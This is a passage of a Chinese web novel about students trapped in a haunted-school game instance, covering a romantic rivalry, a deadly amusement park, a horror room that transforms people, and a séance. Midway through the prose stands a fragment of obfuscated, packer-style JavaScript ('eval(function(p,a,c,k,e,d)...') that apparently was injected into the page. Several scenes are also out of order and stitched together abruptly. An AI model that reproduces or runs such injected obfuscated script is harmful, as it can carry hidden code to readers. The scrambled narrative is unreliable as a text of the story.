“我提前和总部打好招呼了,让他们在副本结束后对所有人做一次记忆清除。他们会彻底忘记在这里发生的一切。” 就当是让他做一场梦吧。 做一场美梦。 虽然终会遗忘,但至少他曾获得过,至少,她曾见证过。 又默默补充一句:大不了让总部单独给时准清两遍记忆。 四周寂静,影子在路灯下拉得很长。 “宋云泽有这样牵过你吗?”时准轻声问。 温初夏:“……没有。” “那他有送过你礼物吗?” “没有。” 某人开启问题机模式。 “他有和你一起看过零点的烟花吗?” “没有。” “他有和你一起躲在厕所里过吗?” “没。”这有什么好骄傲的。 “你有见过他的腹肌吗?他有腹肌吗??” “没——我怎么知道。”小鬼诈我呢。 “你有给他买过甜牛奶吗?” “没。” …… 时准乱七八糟问了一堆,得到的回答都是否,心情越问越愉快,僵直的胳膊也逐渐舒展开来。 果然,在温初夏心里,自己才是更特别的那个。 这样的话,那他也不是不能大度一点。 身边人忽然停住,温初夏侧过身,问:“怎么了?” 时准低头沉默了一会儿,等再抬起来时,严肃的表情像是下定了某种决心。 他说:“其实我知道,你也喜欢宋云泽。” 温初夏:“……” 这个“也”字,就,很有灵性。 “但我不介意。” 温初夏猜到时准接下来的话会比较尖锐,但此话一出,仿佛有一道如利刃般雪亮的惊雷直直劈进她的天灵盖,脑浆四溅,让她完全丧失了思考能力。 时准面对她,捏捏她的手,唇角扬起一个不甚高兴但十足顺从的弧度,低声说:“只要你别在亲了他之后,又立马亲我就行。” 轰——! 仿佛是想象到那个场景,他嫌弃地瘪瘪嘴,又补充道:“你知道的,我有洁癖。” 轰!轰——! 五雷轰顶,轰得温初夏险些站不住脚,下意识想用手扶一下额头,但时准握的太紧,她竟没办法把手抽出来,只能哭笑不得:“你说的都是些什么呀?咱俩到底谁发烧了。” 时准有些急:“我没发烧,我认真的!我真的不介意他。” 他心想:对于无论哪点都比不过自己的人,确实没必要介意,不然反而衬的他小气。 “还有,他叫你‘初夏’。”时准终于能说出这个膈应他很久的问题了,“我也要这么叫你——不对!我要叫的和他不一样!”不然显不出自己的特殊性。 看着他孩子气的表现,温初夏没忍住笑,问:“你想叫什么呀?” “叫……”时准想了想,眼睛一亮,“‘夏夏’?” 听着比‘初夏’亲昵多了。 温初夏挑眉:“我家里人才这么叫我。” “那正好,我也是你家里人啊。” “……” “哎呀好不好嘛——说句话。” “好好好,你想叫啥就叫啥,别牵我手里,手心全是汗。” “我不。” “你不是有洁癖吗?” “现在没了。” 宿舍楼早已熄灯,但今夜的月光很亮,透过窗子照进来,都不用打手电。 两人在楼梯口告别,温初夏挥挥手上楼,时准则转身回到男寝。 几个男生都躺下了,唯有宋云泽还靠在床头开着台灯看书,听到时准回来了,只是掀起眼皮看了他一眼,并没有打招呼。 倒是上铺的季明轩听见动静后,立刻半撑起身体,好奇宝宝发问:“时准你刚去哪儿了?怎么这么晚才回来啊。” 时准把装得半满的塑料袋放在桌上,声音没有刻意放低:“和温初夏一起去逛了逛小卖部,她给我买了一堆东西。” 他只想在没有其他人的时候叫温初夏“夏夏”。 “她给你买的??”闻到八卦的味道,季明轩直接盘腿而坐,其余几个并未入睡的男生也都撑着坐起来。 “都买了什么啊?” “就是衣服啊袜子啊,还有一些生活用品。” “你不是有很多分吗,怎么温初夏还给你买?” 时准笑笑:“她关心我呗。” “你俩关系原来这么好啊。” “一直都很好,只不过之前比较低调而已。” “是关系很好。”宋云泽凉飕飕地开口,“初夏是他妈妈认的干女儿,他俩算姐弟。” 时准收拾东西的动作顿住,转头看着他:“那又怎样,这并不会影响我和她之间的关系。” 宋云泽冷笑:“不会影响吗?” 他握在手里的中性笔已经快一分钟没动过了。 “恐怕只是你的一厢情愿吧。” 其余四个人:“……” 你俩说的是中国话吗?我们怎么听不懂呢。 月光下,时准慢慢眨了下眼,语气也又轻又慢,说:“那我至少也比你强。” 啪! 练习册和笔被狠狠摔在地上,宋云泽起身一个箭步,揪住时准的衣领,声音压抑着愤怒:“我真的忍你很久了,要不是看在你是她弟弟的份上,我早就……” “哦,是吗。”时准勾起一抹嘲讽的笑,“你忍着,真的是因为我是她弟弟,而不是因为你本身就比不过我?” 宋云泽感觉自己从此时起,才真正认识时准这个人,正要开口反击,说我怎么会比不过你,校庆那晚她选我来当她的舞伴,不就很能证明这点吗。 但时准却一手按住他的肩膀,强行把二人的距离拉进,嘴巴附到他耳边,用着胜利者的口吻,轻声说: “那你吻过她吗?” …… 季明轩大叫着下床:“诶诶诶!别打啊——你俩怎么打起来了??!” 李确离宋云泽比较近,赶紧从背后锁住他的肩膀把他往后拉,边拉边劝架:“都是同学,有话好好说嘛,冷静、冷静一点儿好不好。” 此刻,二楼。 温初夏竖起耳朵听了一阵,嘴里含着半口牙膏泡沫问:“你们有没有听见什么声音啊?” 周雅宜快睡着了,翻了个身,迷迷糊糊地回:“可能是楼外的野猫在打架吧……” 温初夏:? 这破学校里有野猫吗? 32. 第 32 章 第二天,两个班的学生无一人请假缺席。 要知道,昨晚超过半数的人不是头疼就是脑热,严重的甚至高烧烧出了幻觉,好几个人都说自己半晕半醒间看见了一位浑身洁白的小天使飘在半空中。 可休息一夜之后,小黄花菜们惊奇地发现,自己的额头不烫了,手脚不软了,除了偶尔喉咙发痒咳嗽几声之外,几乎没有任何不适。 大概是某些神奇力量起了作用。 早上七点一进教室,黑板最左边的课表栏已经自动更新成今日份的课程,分别是:语英政体,地史化…… 等等,体??? “我用我的头打赌,一会儿我们要上的肯定不是正经体育课。”季明轩煞有其事。 “你说的都是废话。”旁边的同学顶着张苦瓜脸,语气也苦唧唧的:“这个学校有哪一件事正经?” 上午第三节课下课,60名学生不情不愿地离开虽然并不温暖但至少较为安全的教室,成群结队来到新地图之二——操场的入口。 关着但没上锁的网格门内弥漫着极为浓厚的雾气,和第一晚林子里的雾一样,又重又湿又冷,极具遮盖力的奶白色让人无法从外面观察里头到底是什么情况。 很快上课铃响了,他们没办法,只能抱着伸头一刀缩头也是一刀的心态,推开网格门,企鹅过冬一样推推搡搡地进去。 走了一小段路,雾气渐渐消散,周围的事物开始显露出轮廓,有男生大叫一声:“啊!大家快看,怪车居然停在这儿!!” 闻声看去,不少人都倒抽一口凉气。 他们已经被邪恶摇摇车弄出心理阴影了,一见到这张井盖大小的诡异笑脸就控制不住地双腿发抖,下意识扭头想跑。 但一道类似于施魔法的启动音效又把他们硬控了回来。 紧接着,安静的空气响起一道热情十足的童声—— “小朋友们,你们好啊~”摇摇车晃了晃,像是在点头打招呼,“平时学习这么辛苦,这节体育课终于可以好好放松一下啦,这里有多种运动项目供大家选择哦~” “你是喜欢摩天轮,还是旋转木马?或者是过山车、海盗船、旋转茶杯、蹦蹦床、排球、碰碰车……” 摇摇车报菜名的同时,四周的雾气彻底消失,直到这时大家才发现,原来这里压根儿不是什么正常操场,而是一座废弃的游乐场! 旋转木马里的马身体布满了裂痕,油漆块块剥落,有的马没了头,有的马断了腿。 布满铁锈和裂痕的过山车轨道盘旋在游乐场上空,有的地方甚至出现了塌陷。一节节空荡荡的车厢悬挂在轨道上,发出“咯吱咯吱”的声响。 摩天轮座舱的玻璃几乎都是碎的,只剩下框架在风中摇曳,里面堆满了落叶和灰尘。 这哪里是游乐园啊,改名为“玩命园”还差不多。 或者是死神游乐园。 在一堆花里胡哨的游乐项目中,排球这个正儿八经的运动项目反而成了异类,所以大家都不敢选。 五分钟后,绝大部分人选择了危险系数看起来最低的旋转木马和摩天轮,人数到达上限后,剩下的就去危险系数次低的旋转茶杯入口排队。 只有四个人选择了过山车。 分别是温初夏、时准、宋云泽…… 以及,季明轩。 三道目光汇聚到最后来的人脸上。 温初夏:“你来干嘛?” 时准:“你来干嘛?” 宋云泽:“你来干嘛?” 质问三连让季明轩浑身都刺挠起来,他半尴不尬地挠了挠后脑勺,疑惑道:“不能来吗?我看过山车的车厢挺多的啊,不至于坐不下四个人吧……” 时准很轻地皱起眉,劝道:“过山车很危险的。” 一听这话,季明轩更懵了,呆滞地问:“那你们仨这是……” 时准看了眼温初夏,语气十分理所当然:“我是因为初夏选的是过山车,所以才来的。” “我……”宋云泽比时准慢了半秒,一开口就被卡住了。 他强忍下心中冒尖的小火苗,等这人话音一落,就快速接道:“我也是因为小温老师选的这个,所以跟着她选的。” 哼哼,没想到吧,哥还有一个专属称呼。 时准冷眼看向他。 宋云泽得意挑眉。 温初夏:“……”你俩幼不幼稚? 发现季明轩的眼神又落到自己身上,她耸耸肩,解释:“我吗?我单纯就是觉得过山车比较刺激啊。既然学校敢这么安排,说明这些设备是安全的,我就凭喜好选咯。” 说完,她直接揪住季明轩的袖子,带他往入口走。 “你来的正好,刚好咱们四个能凑齐一节车厢,你和我坐第一排吧。”免得那俩又要为谁坐在我旁边掐架。 一道急促的铃声响起后,所有设备在同一时间运作起来,老掉牙的嘎吱嘎吱和叮哐叮哐响作一团,是生锈破旧的钢铁巨兽们从沉睡中苏醒的声音。 刚开始画风还很正常,过山车速度缓慢地爬着坡,旋转木马和摩天轮也有条不紊地匀速转动,就是声音比较刺耳,听的人耳朵发疼牙齿发酸。 但很快,事情变得抽象起来—— 原本被铁柱钢条固定在空中的过山车轨道像是活过来般,灵蛇一样扭动着身体,上下翻腾,时不时就把车厢抛到高空,然后接住,跟玩空竹似的。 季明轩本身就恐高,更何况还坐在第一排,他受不了这么可怕的刺激,抓救命稻草般攥着温初夏的手,双眼紧闭,放声尖叫。 高速运动带起的风毫不留情灌进嘴里,把他的双腮吹成两个表面光滑饱满的大馒头。 温初夏起初还想温馨提示他一句,要叫可以,声音小点儿,不然等会儿有的你哭。 但这个想法刚冒出来,一声凄惨尖叫就如生锈的钢锯般捅进耳膜,她就把话咽下去了。 没被握住的左手在季明轩的手背上安慰地拍了拍。 孩子,别怪我没提醒你。 反正已经救不回来了,尽情叫吧,下次就长记性了。 相比过山车组,其他人的状况也没好到哪儿去。 刚转了没两圈,摩天轮的车厢开始360°转动,晃的里面的人跟滚筒洗衣机里的球一样,控制不住地四下乱飞。 很快,就有好几个可怜娃顺着没有玻璃的窗户飞了出去,自由落体一段后,掉在不知何时出现的充气垫上。 旋转木马的画风还要更诡异,里面断头断腿的马像是被施了巫术一样活了过来,让坐在上面的人被迫体验了一把什么叫做策马奔腾。 没一会儿,也有好几个人被摔飞出去了,躺在垫子上嗷嗷直yue。 这么一看,过山车反而是最安全的,因为它至少有保护人不被甩飞的安全肩杠。 酷刑大概持续了十五分钟,又一阵急促的铃声过后,这群有毒的钢铁巨兽才渐渐停了下来,玩吐了整整两个班的学生。 季明轩原本的肤色是健康的小麦色,但从过山车上两腿发软的下来后,他一张脸白的像是刚从福尔马林里捞出的一样,连眼神都涣散了,被时准和宋云泽一左一右地扶着,魂不守舍地喘着气。 稍微缓过来一点后,他左右看看,嘴唇哆嗦道:“我算是明白你们仨为什么敢选这个了——合着你们都一点儿不恐高啊?!” 刚刚在位置上,就只有他一个人在大声尖叫。 旁边的温初夏时不时兴奋地笑两声,而身后这俩,更是连一个大喘气都没有。 季明轩惊恐之余,十分怀疑后排座位是不是空的,鼓起勇气扭头一瞧,发现这俩大佬都很“和善”地盯着自己紧紧握住温初夏的手。 经过昨晚的事,季明轩当然知道他俩的眼神是什么意思,但当时他实在太害怕了,只能抓着带有人类体温的东西才能有一点点还活着的安全感。 季明轩不知道的是,两位大佬其实也恐高,只不过因为觉得在对方面前叫出来很没面子,所以才都忍着不开口,咬肌硬的跟石头一样。 游戏结束,摇摇车又开始说话—— “怎么样啊小朋友们,你们玩的开心吗?” 众人:“……” 没被吓死就不错了,还开心,开心个铲铲。 摇摇车故作悲伤地叹了口气,晃了晃,用尖锐的童声接着说:“欢乐的时光总是这么短暂,游戏结束,接下来就是惩罚环节啦。” 什么?还有惩罚??! “惩罚规则如下:选择摩天轮、旋转木马、旋转茶杯项目的同学,被甩离开座位的,需接受惩罚;选择过山车项目的同学,尖叫声超过60分贝的,需接受惩罚。 惩罚名单如下:潘嘉、程逸兴、周雅宜、许梦书……季明轩。” “请被点名的十三名同学即刻前往教学楼二层东侧恐怖屋接受惩罚。 惩罚要求:每名同学必须单独进入恐怖屋,在里面,你将看见你最恐惧的场景,或是变成你最害怕的样子。 温馨提示,改变形态的同学会在一月之内恢复正常,不要过于担心。请大家在下课之前完成惩罚环节。” 话音落后,宋云泽感觉搭在自己肩膀上的胳膊硬成了一条棍,周雅宜也绝望地踉跄了一下,被温初夏眼疾手快地扶住。 扶住前,她还默默推开了另一只想要帮忙的手。 五分钟后,60个学生齐齐来到二层东侧的恐怖屋前,其中不用接受惩罚的学生是来给十三个幸运儿加油打气的,起到一个陪伴的作用,另外,还起到一个杀鸡儆猴中猴的作用。 虽然起了个很厉害、让人一听就觉得里面肯定大有乾坤的名字,但恐怖屋实际上就是间外观和教室没有任何区别的屋子而已,不知道里面是什么样的。 心想反正逃不掉,季明轩干脆第一个上。 他走到门前,褪色严重的红漆木门便自动打开,一股无形的神奇力量将他吸了进去。 熙熙攘攘的走廊一片死寂。 进去后不到半分钟,很快门又吱嘎开了,里面慢慢走出来一位长发飘飘、步态别扭,也不知道是人是鬼的……家伙。 众人纷纷默契地往后倒退一步,周雅宜面白如纸,惊恐道:“季明轩你、你变成贞子啦??!” “你才要变贞子呢,我根本不怕鬼好吗。” 季明轩撩起挡在脸前的厚重长发,往脑袋后捋了捋,露出的脸颊明显红润多了,大概是被自己现在的奇葩形象给气红的。 周雅宜乐不可支,一时间竟忘记了自己待会儿也要这种受罪,她好奇地rua了rua季明轩的脑袋,意外发现发质还挺好,软硬适中,柔顺浓密。 “你最害怕成为的样子居然是长头发?”说着,周雅宜又忽然想起来了,“哦,我记得你小时候姨妈好像让你留过长发是吧?还把你打扮的跟小姑娘一……唔!” 话没说完,季明轩赶紧捂住周雅宜喇叭漏勺一样的嘴,然后把她往门里推,边推还边善解人意道:“知道你不敢进,让身为表弟我来帮你一把,不用谢,啊。” “欸!季明轩你想死啊……” “嘭。” 门关上。 几秒后,一道撕心裂肺的嘹亮尖叫穿透水泥墙和木板门,如长甲挠黑板般刺入每个人耳中,威力十足,所有人都起了鸡皮疙瘩。 “啊——!!!” ……门开后,一名深棕色卷发,身穿栗色背带裙+蕾丝花边白衬衣的矮个女孩冲了出来,一头扎进正对门口站着的李确怀里。 女孩的速度很快,但又因为身体出奇的轻,所以李确并没有被她扑到地上,只是微微往后退了一点,拧眉担忧地问:“你这是怎……” 下一秒,抱着他腿的小女孩泪眼汪汪仰起头。 只见她眼珠是浅棕色的,睫毛又卷又密像假的一样,脸颊肉嘟嘟,左右两边的红晕工整的仿佛复制粘贴,光滑白皙的皮肤不见丝毫瑕疵,甚至连毛孔都没有。 周雅宜居然……变成了一个小洋娃娃! 温初夏眼睛一亮,抢先一把将她抱了起来,在李确跃跃欲试的拦截动作下架着她的咯吱窝,小幅度地在空中抛了抛。 “你居然真的变成娃娃了欸。”温初夏一脸观赏珍惜动物的表情,评价:“轻的跟塑料似的,我第一眼还以为你跟老师一样返老还童了。” 周雅宜被抛的连连尖叫:“啊!温初夏你快放我下来,这个高度对我来说太高了——!” 季明轩也凑过来,抢过小洋娃娃周雅宜,并且凭借身高优势把她举得更高,看着她惊恐的小脸哈哈大笑,超级嘚瑟: “让你刚才笑话我,现在遭报应了吧。我记得你四五岁起就害怕洋娃娃,好像是因为看了部关于洋娃娃的恐怖电影?没想到这么多年过去,你最害怕的还是洋娃娃啊哈哈哈哈,没比我好到哪儿去嘛……” 身后的李确:“……” 垂下的手不高兴地握紧成拳。 给我抱一下又!怎!样! 中午。 吃完饭后,大部分学生没有回宿舍睡午觉,而是又去了图书馆,抓紧一切时间学习。 白天的图书馆看着比晚上要安全许多。 温初夏说昨晚已经在一层呆过了,提议一部分同学可以去二楼学习,学累了就四处逛逛,找找看有没有什么线索,于是大部分人就跟着她上去了。 季明轩把他的一头秀发扎成低马尾,用的头绳是周雅宜变成娃娃后用不着的,从书包里拿出一叠东西,英语书,英语试卷,英语练习册…… 看样子是想苦学英语了。 “温初夏。” 他叫了声正在书架边晃悠着找线索的人的名字。 “干嘛?”温初夏来到他对面的凳子坐下。 “你英语成绩是怎么进步这么快的?”季明轩双手合十,恳切地请求:“给我传授下经验呗。我上次考试英语甚至连题目都读不懂,选择题全选的C。” 温初夏心说少年你问错人了,本人英语成绩一向很好,之前只是为了人设藏拙而已。 “就,多看多背多读多写呗。”她简洁道,语气是不食人间疾苦的轻松。 想了想,又补充一句:“关键是要好好背单词,这个是最基础的,你要是词汇量不够,当然会读不懂题了。” 季明轩顿时垮起脸,幽怨道:“可我最讨厌的事就是背单词了,全神贯注俩小时,第二天一睡醒,全都忘的一干二净——我唯一能记得清只有28个英语字母。” 温初夏嘴角微抽:“……28个?你确定??” “难道不是28个吗。”季明轩一副天然呆的表情,低头开始一边唱歌一边扳手指:“ABCDEFG……” “停停停别唱了,我直接告诉你,是26个。” 温初夏感觉自己的三观被刷新了,要知道,上次她有这种感觉,还是在看《准时说爱你》原文的时候。 她好言相劝:“我看你还是放弃英语吧,突击其他的科目也一样能拉高平均分啊。” 毕竟都低入谷底了,只要肯努力,无论怎么学都是上坡路。 季明轩却不太情愿:“可我觉得英语提分比较快嘛……” 面前的人忽然皱起鼻子,小猫似的嗅了嗅空气,指关节揉着鼻尖问:“你身上怎么这么香啊,一股洗衣粉的味道。” 并且是劣质洗衣粉的味道,很像小卖部卖的最便宜的那一款。 “不是吧,这么明显?” 季明轩低头闻了闻,解释说:“昨天大家的衣服不是都被汗浸湿了吗,为了节约时间,我们寝室就把衣服一次性全塞进了洗衣机里。” “可能是塞太满了吧,洗衣机洗到一半忽然坏了,吐了一地泡泡,只能把衣服拿出来手动洗,水龙头里出来的水特别冷,冻得我两只手跟要截肢一样。” 他又用力闻了两下,嘀咕道:“我以为我已经冲得干净了呀,怎么还有这么大的味儿。” 温初夏听后,有点无厘头地问了一句:“你跟时准一个宿舍的?” “对啊。”季明轩点点头,“还有宋云泽、李确、张文远、顾瑜——你问这个干什么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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温初夏衷心建议:“我觉得你以后最好轻易别出国,真的,特别是英语国家,否则你大概会觉得满大街都在骂你。” 季明轩哑巴了,尴尬地搔了搔脸颊,不再说话。 把靠墙站着的洗衣机拉出来,拆开后盖,一看,果然是压力管掉了,所以导致一直不停出水,直接接回去就算修好了。 “OK。”把盖子盖回,温初夏拍拍手,站起来,手脚并用地把洗衣机推回原位。 “这么快?!”季明轩想帮忙,但人家女生显然并不需要,只能通过夸奖表达谢意: “你好厉害啊,居然连家电都会修,这世界上还有什么是你不会的?” “技多不压身嘛。”温初夏难得谦虚。 “我也就只会处理这些简单的毛病,一个人生活久了,很多东西慢慢都多少会一点了。” 季明轩一眨不眨地看着她,眼里带着明亮的笑意,突发奇想地问:“那你……会剪头发吗?” 他当然知道这个问题很刁钻,一般女生哪儿会剪男生的头发,是为了活跃气氛才说出来的。 可没想到温初夏却点头,说:“会啊,不过我好久没自己动手剪过了——你想要我帮你剪吗?” 季明轩震惊:“你、你开玩笑的吧,我就随口一问,你还真能会啊??!” “当然啦。”温初夏笑了笑,“出家人不打诳语。你等着,我去楼上拿梳子和剪刀。” 下午一点三十分的阳光漫入西三舍的窗户,清晰映照出薄玻璃上的划痕和灰尘,生锈的窗棂将阳光切割成菱形的光斑,一格格往掉漆的铁架床上攀爬。 温初夏一手举着齿梳,一手举着剪刀,警告说:“你别动啊,这剪刀不是专门用来剪头发的,不太好使,你要是乱动,我可能会不小心把你耳朵剪下来。” 季明轩坐在阳台洗脸池的镜子前,闻言立马往脖子里灌了两斤水泥,回答时嘴巴只敢张开一条小缝:“哦。” 温初夏笑了笑,心里暗暗道:这你也信?我是唬你的,手抖成帕金森才会把人耳朵剪下来。 她先将季明轩后颈以下的长发一刀切了,然后细致地修剪出形状,黑亮略硬的发丝任凭她的手指夹起又松开,剪成或长或短的长度,和镜子中的男孩一样,乖巧又板正。 悬浮在空中的灰尘像被阳光揉碎了的金箔碎屑,随着微弱的气流旋转或是升腾,四周很安静,只能听见剪刀“咔嚓”的微响和碎发簌簌掉落在凳子边的声音。 时间同墙上的光斑一齐行走。 季明轩忽然觉得,在这个诡异多疑的世界,此刻,只有这一间小小的宿舍才是唯一安全的地方,像摇篮一般,带给他最纯净、最原始的安稳。 …… “剪好了。” 温初夏放下发酸的手臂,仰头活动了下僵硬的脖子,问顾客:“还可以吧?” “嗯。”季明轩左右偏头看了看,又用手摸了摸,惊叹道:“没想到你手艺这么好,和我之前的样子几乎没差欸,都能去当理发师了——我是不是该给你付钱啊?” 温初夏笑:“你有钱吗?有分吗?” “没。卡里的那几分早在第一天就被我刷光了。” 季明轩有点窘迫,又约定说:“先欠着,等我们离开这个鬼地方了我就给你,随便你开多少价。” 温初夏笑得愈灿烂:“不用,说着玩儿玩儿而已。”本小姐缺你那点儿钱吗? “走吧,快两点了,得去教学楼上课。” “好。”季明轩两三下处理好粘在衣服上的碎发,又把地上的头发扫进垃圾桶里,和温初夏一起去上学。 好像沉重的头发被剪去后,他的心情也跟着轻盈起来,和头顶的天空一样晴朗,走着走着忍不住蹦跶了两下,浑身上下的每个细胞都在阳光下伸起懒腰。 路过小卖部的玻璃橱窗,季明轩瞥见自己帅气清爽的倒影,唇角雀跃地扬起。 “你在这儿自什么恋,赶紧走啦。”温初夏小跑起来,“迟到了是要罚站的。” “哦。” 季明轩收回视线,但嘴边的弧度并未改变,笑着跟上前面女生的步伐。 “我们真的要玩笔仙吗?”姜荞语紧张地咽了下口水,看着围坐在桌子四方的人,“这个游戏不是只有恐怖片里才会出现,是妥妥的封建迷信吗。” 夜晚接近零点,十来名女生聚集在【201】宿舍,灯火通明,十分热闹。 宿舍楼其实早已熄灯,但为了能在做仪式时周围明亮一点,显得安全一点,她们把能一二两层能搜刮到的手电筒全拿来了,一共有八根之多。 其中四根直指天花板,另外四根放在寝室的四个角,光线交汇于正中间的桌子上。 温初夏被光刺得半眯着眼,坚持道:“玩,必须得玩。这些道具是李书雪今天中午从图书馆二层的书架上找到的,正常图书馆怎么会出现这个,事出反常必有妖,里面肯定有线索。” 姜荞语紧张的快把手里的笔掰断了,支支吾吾地颤声说:“可是这个游戏真的很可怕啊,我看鬼片里但凡玩过笔仙的人最后都不是死了就是疯了。” 李书雪笑了,调节气氛说:“荞荞你都说自己看的是鬼片了,里面的角色肯定不是死就是疯啊。” 盯着时间的杜惜文提醒道:“大家快开始吧,已经到零点了。” “那……好吧。” 姜荞语深呼吸几口起,给自己壮壮胆,把笔竖着举在桌子中央,桌面上铺着一张写满汉字边角微卷泛黄的旧纸。 她稳定好心神,对其余的三个人说:“刚才念的规则,什么能问什么不能问,最后要怎么请笔仙走,大家都记清楚了吧?” 三人皆严肃点头。 一切准备就绪,仪式正式开始。 四人闭眼默念咒语,当念到第三遍结束时,合握住的笔杆忽然动了一下。 所有人都屏息凝神:这是真、真请来了啊? 姜荞语后背疯狂冒汗,右手几乎要握不住笔。 她睁开眼,嗓音紧绷地向对面的温初夏说:“你问吧。” 温初夏面色平静地和她对视一眼:“好。” 紧接着—— “你是怎么死的?” 其余人:噗——! 规则不是说了,绝对不能问这个问题吗!你怎么转挑雷区炸啊??!!! 33. 第 33 章 今天下午第一堂生物课上到一半,摇摇车又来教学楼巡视+逮人。 经过上次的惨痛教训,这回大家学乖了,首先拼命往教室外跑,接着拼命往楼上跑。 如果很遗憾没逃跑成功,那就乖乖去宿舍楼三层的神秘房间外罚站一会儿,千万别试图反抗,不然世界可能又要变成大烤炉了。 他们都是嫩肉串,不再想做一次全身热玛吉。 和昨天一样,大部分人都逃上了三楼,只有零星几个倒霉蛋去了宿舍罚站。 昨天突发情况,他们还没翻到什么有用的线索就被热晕过去了,所以今天找得格外热火朝天,带着一种势必要把昨天欠的补回来的冲劲。 但画面即视感其实挺像抄家的。 好在最终找到了不少重要和疑似重要的线索—— 第一,这里不是小学,而是孤儿院,向日葵孤儿院,地处偏僻,孩子却意外的很多,几乎都在4-7岁之间。 离这里最近的小学在十公里之外,于是孤儿院就成了半个学校,请了三名老师来授课,一名语文老师,一名数学老师,一名音体美老师,也就是三科都教。 第二,学校管理十分宽松,甚至可以说是不负责,教学质量也是不敢恭维,老师们的教学日志本里可以一连大半个月内容都是相同的,并且都是寥寥几句,甚至还在里面吐槽食堂伙食难吃。 第三,学生们的花名册是手写的,越靠后的字迹越新,显然不是同一时间写上去的。并且越靠前的名字,大多都被铅笔打了叉,或是画了圈。 有的学生有名有姓,有的则直接写的是小名,其中就有妞妞,以及九个小孩老师们的名字。 他们十个是花名册上仅剩的没有被打叉或画圈的人。 在向日葵孤儿院里,他们是孤儿。 而到了向日葵小学,就变成了老师。 由此可以推测,妞妞应该也变成了老师,或是比老师级别更高的职位,比如校长,不然学生行为守则也不会把“不能惹妞妞生气”当做第一要务。 仿佛有一根无形的线系在铅笔末端,拉着它幽灵般地在纸上移动,四个人的手跟着笔的运动轨迹拉磨似的转了几圈后,最终停留在了一个字上。 “火。” 围观的付子衿下意识说出声,神色恍惚中带着惊讶:“意思是不是TA是被火烧……” 旁边的许碧彤赶紧捂住她的嘴,意思是:你疯啦居然敢说出来,不怕笔仙生气吗! 所有人都被眼前这一奇观给吓懵了,只有温初夏一如既往维持着镇定,轻轻开口道:“下一个问题,你是什么时候死的?” 众人:“……” 哈哈,真好,看样子是要把雷区全踩一遍了。 结果下一秒,笔又动了起来。 众人惊完又懵:看来这位招来的笔仙脾气不是一般的好啊,这么被冒犯居然也不生气?讲真,她们都有些生气了,被温初夏我行我素不按常理出牌给气的。 笔尖在“六”字上点了一下,又在“一”字上点了一下。 六一?儿童节啊。 这里以前是孤儿院,招来的魂魄大概率是小孩子,小孩子死在儿童节这天,真是有够地狱的。 温初夏:“第三个问题——你到底想要我们做什么?” 愿。望。 看到这两个字,大家有一瞬间的欣喜和领悟,紧接着又重新变回一头雾水—— 什么愿望? 温初夏皱了皱眉,道:“能说得清楚一点吗,你的愿望是什么?不然我们怎么帮你实现啊。” 语气竟然还有点冲。 闻言,姜荞语嘴唇微动,一句“姐我求求你了peaceandlove一点好不好我们的命也是命啊”差点脱口而出,被她硬生生给憋下去了。 她觉得,如果自己是笔仙,马上就要骑在温初夏肩膀上掐她脖子了。 但神奇的是,眼前的人不仅没被掐,合握住的笔反而再次顺从地动起来,居然是真打算解释清楚! 见此,所有人心中都不约而同地一个念头: 这笔仙怕不是个M。 冷光滟滟的宿舍,最怕鬼的周雅宜坐在靠近阳台的下铺,左边挤着付子衿,右边靠着许碧彤,虽然周围都是热乎乎的活人,唯一最像鬼的还是她自己…… 但周雅宜依旧很害怕,非常害怕。 因为从笔开始移动的那一瞬间,她就知道这个空间里多了一只死因不明、姓名不详、年龄不详的鬼魂。 世界上居然真的有鬼!!! 这对于她这种哪怕只听半截干巴鬼故事,也要吓得半夜睡不着,疯狂默念“世界上根本没有鬼,都是骗人的”才能稍微安下点心的人,无疑是颠覆性的毁灭性打击。 周雅宜身体僵硬的跟石头一样,但琥珀一样的浅棕色眼珠却在不安地四处乱瞟—— 门口没有鬼,很好。 衣柜旁没有鬼,很好。 桌子下和对面床底下没有鬼,很好。 对面上铺没有鬼,很好。 天花板没有…… “啊——!” 在这种节骨眼上,窗帘被风吹起来都能把人吓够呛,更何况是一声凄厉的尖叫。 围坐在桌边的四人同时一个手抖,铅笔“啪嗒”一下,横掉在了纸上,仪式戛然而止。 周雅宜吓傻了,一边尖叫,一边弯腰钻进桌底。 她还是觉得不够有安全感,又手脚并用抓着温初夏的校服裤子爬到她的大腿上,猫一样地缩成一团,脑袋深深埋在两膝之间,中了邪似的念叨: “我我我看到了,鬼在天花板上,小小一个,浑浑浑身上下都是白色的,TA在看着我们,TA在看着我们!” “什么?” 温初夏拧眉抬头,发现天花板上除了一根挂着细微蛛网的老旧灯管之外,再没有其他任何东西。 倒是东北角的墙皮又掉了一点,看起来像是一条踩扁的毛毛虫。 她觉得奇怪,问:“你是不是眼花了?” “不会的,我刚才看的清清楚楚……”周雅宜瑟缩地再次把头抬起,还是两眼一抹白,又爆出一声惊吓过度的尖叫。 她恐惧极了,把头埋得更低,身体剧烈颤抖,语无伦次地哭道:“TATATA还在看,还在看着我们呜呜呜……” 如果不是知道周雅宜变成娃娃后吃喝拉撒一律都免了,温初夏真担心她吓尿在自己身上。 其余人见周雅宜反应这么大,也都心神震荡,纷纷就近抱作一团,仰头向天花板看去。 但和温初夏一样,她们没有捕捉到丝毫可怕的东西,更没有周雅宜口中的,浑身上下都是白色的小鬼。 不过话说回来了,浑身上下一片白的,难道不应该是小天使吗? 但天使怎么会出现在这种鬼地方,光想想就觉得不可能,于是她们一致认为周雅宜是惊吓过度眼花了。 直到从隔壁来围观的女生们拿上手电离开【201】,寝室中间的桌子也搬回原位,纸笔都被妥善地收起来,周雅宜还是以这副鸵鸟姿势坐在温初夏身上,两手死死扒着后脖颈。 “欸。”温初夏戳戳她,“该下去了,马上要睡觉了。” 周雅宜又闷了一会儿,再次鼓起勇气,慢慢抬头。 这回她不敢再往头顶看了,而是直视前方,可没想到视线里还是迎头撞进一道白花花的身影。 “啊——!” 周雅宜要疯了,觉得这只鬼可能是缠上了自己,绝望道:“TA怎么又下来了,就在我面前站着你们为什么都看不见呢呜呜呜……” 温初夏沉默,陷入思考:浑身都是白色,那不就是缠满了绷带的妞妞吗。 这个副本的规定是玩家无法看见大BOSS,只有妞妞的朋友,也就是小孩老师们才能看见她的实体,为什么周雅宜也能看见? ……哦,懂了。 温初夏头顶亮起小灯泡。 大概率是系统把变成洋娃娃的周雅宜识别成了小孩子,所以她就能够看见妞妞了。 